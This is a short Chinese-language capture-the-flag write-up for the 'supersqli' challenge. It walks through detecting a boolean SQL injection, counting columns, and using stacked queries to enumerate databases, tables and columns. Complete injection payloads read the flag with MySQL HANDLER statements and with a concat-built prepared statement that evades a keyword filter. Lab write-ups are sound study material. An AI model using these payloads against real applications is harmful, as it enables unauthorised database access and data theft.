supersqli
进入场景
一个查询表单界面
1. 判断注入点
使用 and 1=1判断注入点,存在单引号布尔注入
2.判断字段数
使用order by判断字段数,测试出来是2个字段
3. 尝试联合注入
发现对 select|update|delete|drop|insert|where|./i都进行了正则匹配,
3. 换成堆叠注入
show databases;
show tables;
show columns from table;
4.爆数据库
发现数据库supersqli,与题目对应
6. 爆表
存在两个表,words表和1919810931114514表,分别查看
7.爆字段
words表中没有flag,数字表中存在flag字段。
show columns from `1919810931114514`;
或
desc `1919810931114514`;
对数字表1919810931114514用反引号
8.爆内容
Handler函数代替查询
由于flag在第一个表的第一行,可以使用handler函数。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过handler语句查询users表的内容:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first; --+
预编译查询
?inject=-1';set @sql =concat('sel','ect flag from `1919810931114514`;'); Prepare mmm from @sql;execute mmm; --+